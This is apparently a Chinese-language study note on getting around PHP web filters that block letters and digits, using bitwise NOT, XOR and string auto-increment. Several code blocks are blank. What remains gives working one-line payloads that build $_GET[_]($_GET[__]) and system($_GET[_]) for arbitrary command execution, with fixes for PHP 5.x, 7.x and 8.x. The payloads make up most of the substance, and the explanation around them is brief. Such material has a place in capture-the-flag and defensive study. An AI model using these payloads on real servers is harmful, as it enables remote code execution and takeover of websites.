取反(~)
测试代码如下
1 |
|
大概意思就是利用第一次取反绕过字母和数字,第二次取反,得到原来的数据;
1 |
|

注意:经过测试只有在7.*版本才可以这么用,5或8版本都不行,并且只有当请求方式为GET是才有用,$_POST没用
当我将上面的的请求方式从GET更改为POST,会发现POST的数据再第二次取反之后会在每一个字符之间加一个=符号;

异或(^)
测试代码依旧是
1 |
|
异或可以借助python脚本
1 | import urllib.parse |
payload
1 | phpinfo() |
如果可以异或的字符很少,可能有一些字符异或不出来(一般都是一些特殊字符);遇到这种情况如果waf没有过滤那个异或不出来的字符,可以直接用.点号拼接;当然,是在点好号没有被过滤的提前下;
注意:经过测试异或在5的版本不行,可以在7.*或者8.*的版本,并且POST和GET请求方式都可以;
自增(=,+)
测试代码依旧是
1 |
|
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
1 |
|

构造出$_GET[_]($_GET[__])
1 |
|
将上面的代码合成一行;如下:
1 | $_=[];$_="$_";$_=$_['!'=='@'];$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$____=$_++;$_='_'.$___.$__.$____;$$_[_]($$_[__]); |
但是$_GET[_]($_GET[__]);似乎只在7.*版本管用;

本来想构造eval来着的,好像不太行;构造system($_GET[_]);,
1 |
|
1 | code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_________($$_____[__]); |

system($_GET[_])确实可以,但是只能在7.*;按照原理不应该受到版本限制才对,经过我漫长的测试;终于找到了原因
原来在5.*的版本$_________($$_____[__]);中的$$_____会报错,只需要改成$_=$$_____;$_________($_[__]);就可以了
1 | code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_=$$_____;$_________($_[__]); |
在我本地的5.6成功了,但是我本地5.3依然没成功

在8.*的版本[]中的变量不可以用_;

注意:自增比上面两种方法更麻烦;
